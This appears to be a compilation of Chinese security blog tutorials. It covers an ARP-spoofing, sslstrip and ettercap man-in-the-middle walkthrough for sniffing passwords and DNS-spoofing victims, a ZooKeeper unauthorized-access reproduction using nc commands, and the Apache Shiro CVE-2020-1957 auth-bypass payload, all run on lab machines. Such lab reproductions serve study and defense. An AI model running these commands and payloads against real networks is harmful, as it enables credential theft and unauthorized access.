如果攻击完成后要删除这条记录可以输入命令 iptables -t nat -D PREROUTING 1

查看 ip 转发表: iptables -t nat -L

运行arpspoof以说服网络他们应该将流量发送给你

1
arpspoof -i eth0 -t 192.168.40.130 192.168.40.2

启动sslstrip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
sslstrip -l 10000

-w <文件名>,–write = <文件名>指定要登录的文件(可选)。
-p,–post仅记录SSL POST。(默认)
-s,–ssl记录往返服务器的所有SSL流量。
-a,–all记录往返服务器的所有SSL和HTTP通信。
-l <端口>,–listen = <端口>用于侦听的端口(默认为10000)。
-f,–favicon根据安全请求替换锁图标。
-k,–killsessions终止正在进行的会话。
-h 打印此帮助消息。

查看端口占用lsof -i tcp:10000

sslstrip -a -k -f -l 10000

image

可以看到,网页上没有任何不安全的警告或是提示,只是原先的HTTPS连接已经被HTTP连接所替换,并且为增加迷惑性,网页的图标被修改成了一个银色的锁图案。但是,假的毕竟是假的,一方面无法查看到任何证书的信息,另外如果在网址前输入https://,则网页无法发开。因此,sslstrip并不是万能的攻击方法。

使用ettercap对目标主机进行arp攻击,并且开始嗅探密码

终端界面嗅探密码ettercap -Tq -i eth0

1
2
3
4
-P  使用插件
-T 使用基于文本界面
-q 启动安静模式(不回显)
-M 启动ARP欺骗攻击

我们使用ettercap的GTK+ GUI图像界面ettercap -G

image

选择Sniff—-Unified-sniffing,然后选择网卡:eth0(我这里是eth0,大家根据情况选择)。

image

然后Hosts——Scan for hosts——Hosts list

我们的目标主机ip(192.168.40.130)选定目标主机,然后点add to target 1,将目标主机添加到目标;选定路由,点add to target 2,将路由添加到目标2

添加成功后,点击Mitm——ARP posoning ,勾选sniff remote connections。

之后start——start sniffing开始监听。

点击view——connections查看被攻击机访问的IP,端口,协议,发送和接收的数据包大小。

点击view——profiles查看被攻击机访问的链接。在下方可以查看更清晰的链接访问情况。

当然你也可以通过双击链接来查看profiles details,即访问网站的具体情况。

在这里,如果被攻击机输入密码登陆某一网站,我们可以检测到登陆的用户名及其密码。

这是刚刚检测到的一个用户名和登陆密码。这个网站完全没有对密码进行加密操作,出来的结果也是明文显示的。

image

这是另外一个站检测出来的,对密码进行了加密。

image

Tips:其实一个网站如果使用的都是https协议,那么安全性一般做的比较好,数据进行了加密的,也就是说你即使已经把https降低为http,即使捕获到了密码,你也不可能轻易解密的出来。

测试网址

1
2
3
4
5
6
http://www.freemojo.com
//http密码明文未加密
http://bbs.ylnet.com.cn/forum.php
//http密码加密了
http://www.discuz.net/forum.php
//https密码未加密

DNS欺骗

1
leafpad /etc/ettercap/etter.dns

在微软处添加:

`www.baidu.com A 192.168.40.132

image

ettercap -G(进入图形界面)

重复之前的步骤ARP欺骗的步骤,在start sniffing之前添加一个插件

image

双击启动dns_spoof

image

开始嗅探后,我们在目标机中ping一下百度

image

欺骗成功,如果将192.168.40.132改为钓鱼页面,就可以欺骗到用户账号密码

image

最后提醒大家,连接公共wifi时一定要小心!

参考资料

如何进行一次完整的 SSLStrip

ARP欺骗之ettercap图形化界面

APR攻击(Arpspoof)

linux ip 转发设置 ip_forward、ip_forward与路由转发

HTTP&HTTPS账号密码获取与ettercap局域网内DNS欺骗

使用ssltrip突破ssl加密截获密码

sslstrip

利用sslstrip和ettercap突破ssl嗅探密码

针对SSL的中间人攻击演示和防范

sslstrip Package Description

ZooKeeper 未授权访问漏洞(CVE-2014-085) 复现

ZooKeeper 未授权访问漏洞(CVE-2014-085) 复现

本文转自gclome 并作补充

最近想收集一下近几年的通用型漏洞,然后就找到了这个漏洞,那就先来这个漏洞吧!

ZooKeeper未授权访问漏洞是什么

ZooKeeper是一个分布式的,开放源码的分布式应用程序协调服务,是Google的Chubby一个开源的实现,是Hadoop和Hbase的重要组件。它是一个为分布式应用提供一致性服务的软件,提供的功能包括:配置维护、域名服务、分布式同步、组服务等。

ZooKeeper默认开启在2181端口,在未进行任何访问控制情况下,攻击者可通过执行envi命令获得系统大量的敏感信息,包括系统名称、Java环境

漏洞原因

默认安装配置完的zookeeper允许未授权访问,管理员未配置访问控制列表(ACL)。导致攻击者可以在默认开放的2181端口下通过执行envi命令获得大量敏感信息(系统名称、java环境)导致任意用户可以在网络不受限的情况下进行未授权访问读取数据甚至杀死服务。

(原因如下:默认的ACL中未进行限制访问)

image

用于访问控制的模式有:
(1)world 代表任何用户
(2)auth 不使用任何id,代表任何已经认证过的用户
(3)digest 使用username:password认证,password使用md5哈希之后base64再编码,现改成了sha1加密。
(4)ip 用客户端的ip作为ACL的标识。

环境搭建

测试机: Kali (192.168.133.134)
靶机: Kali(192.168.133.132)
版本:zookeeper-3.4.14

分别在测试机和靶机都安装zookeeper-3.4.14
安装命令如下:

1
2
3
4
5
6
#搭建环境
wget https://mirrors.tuna.tsinghua.edu.cn/apache/zookeeper/zookeeper-3.4.14/zookeeper-3.4.14.tar.gz
tar -xzvf zookeeper-3.4.14.tar.gz
cd zookeeper-3.4.14/conf
mv zoo_sample.cfg zoo.cfg
../bin/zkServer.sh start # 启动

搭建成功 默认端口是2181

漏洞证明

尝试连接

1
./zkCli.sh -server  192.168.133.132 2181

如下图,连接成功

image

image

并且存在此漏洞!

获取该服务器的环境

1
echo envi|nc 192.168.133.132 2181

通过执行envi命令获得系统大量的敏感信息,包括系统名称、Java环境。

image

漏洞利用

part1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
stat:列出关于性能和连接的客户端的统计信息。
echo stat |nc 192.168.133.132 2181

ruok:测试服务器是否运行在非错误状态。
echo ruok |nc 192.168.133.132 2181

reqs:列出未完成的请求。
echo reqs |nc 192.168.133.132 2181

envi:打印有关服务环境的详细信息。
echo envi |nc 192.168.133.132 2181

dump:列出未完成的会话和临时节点。
echo dump |nc 192.168.133.132 2181

image

part2

我们在zk的客户端可以进行节点权限的查看和设置。

image

从上述操作可以看出,zk新创建的znode默认访问方式为world。我们通过addauth和setAcl给/test节点设置访问权限为digest,操作权限为cdrwa,用户名为user,密码为password。

当然,我们使用getAcl是无法获取可访问用户test的明文密码的(要是可以获取明文密码,不又是个漏洞嘛~~)。

另启zk客户端,执行ls /test,发现当前用户已经无法访问/test节点,提示信息为“Authentication is not valid”。解决方法就是addauth添加认证用户了,并且必须使用用户名和密码明文进行认证。

addauth添加digest认证用户user后,即可正常访问/test节点了。

另外,还有一点需要注意,znode的ACL是相互独立的。也就是说,任意不同节点可以用不同的acl列表,互不影响,并且ACL是不可被继承的。

我们在/test下创建leaf节点,可发现,leaf节点的认证方式为world,即任何用户都有访问权限。

利用zookeeper可视化管理工具进行连接

下载地址:https://issues.apache.org/jira/secure/attachment/12436620/ZooInspector.zip

image

image

修复方案

禁止把Zookeeper直接暴露在公网

添加访问控制,根据情况选择对应方式(认证用户,用户名密码,指定IP)

配置防火墙策略,只允许指定IP访问2181端口

配置服务ACL限制IP访问

参考链接

https://blog.csdn.net/u011721501/article/details/44062617
https://www.cnblogs.com/0nc3/p/12071281.html
https://xz.aliyun.com/t/6103#toc-7
https://blog.csdn.net/Aaron_Miller/article/details/106049421
https://www.cnblogs.com/ilovena/p/9484522.html

Apache Shiro 认证绕过漏洞 CVE-2020-1957 漏洞复现

Apache Shiro 认证绕过漏洞 CVE-2020-1957 漏洞复现

本文转自Senimo_ 并作补充

漏洞描述

Apache Shiro 是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。
CVE-2020-1957,Spring Boot中使用 Apache Shiro 进行身份验证、权限控制时,可以精心构造恶意的URL,利用 Apache Shiro 和 Spring Boot 对URL的处理的差异化,可以绕过 Apache Shiro 对 Spring Boot 中的 Servlet 的权限控制,越权并实现未授权访问。

漏洞影响

环境搭建

执行如下命令启动一个搭载Spring 2.2.2与Shiro 1.5.1的应用:

1
2
cd vulhub/shiro/CVE-2020-1957
docker-compose up -d

环境启动后,访问http://x.x.x.x:8080即可查看首页:

image

这个应用中对URL权限的配置如下:

1
2
3
4
5
6
7
8
@Bean
public ShiroFilterChainDefinition shiroFilterChainDefinition() {
DefaultShiroFilterChainDefinition chainDefinition = new DefaultShiroFilterChainDefinition();
chainDefinition.addPathDefinition("/login.html", "authc"); // need to accept POSTs from the login form
chainDefinition.addPathDefinition("/logout", "logout");
chainDefinition.addPathDefinition("/admin/**", "authc");
return chainDefinition;
}

漏洞复现

使用BurpSuite抓取数据包,访问/admin/目录:

image

回显302并跳转到登录页面:

image

构造恶意请求/xxx/..;/admin/,即可绕过权限校验,访问到管理页面:

image

URL请求过程:

  • 客户端请求URL: /xxx/..;/admin/
  • Shrio 内部处理得到校验URL为 /xxxx/..,校验通过
  • SpringBoot 处理 /xxx/..;/admin/ , 最终请求 /admin/, 成功访问了后台请求。

漏洞POC

构造恶意请求/xxx/..;/admin/,即可绕过权限校验,访问到管理页面。

参考链接

https://www.safedog.cn/news.html?id=4441
https://blog.spoock.com/2020/05/09/cve-2020-1957/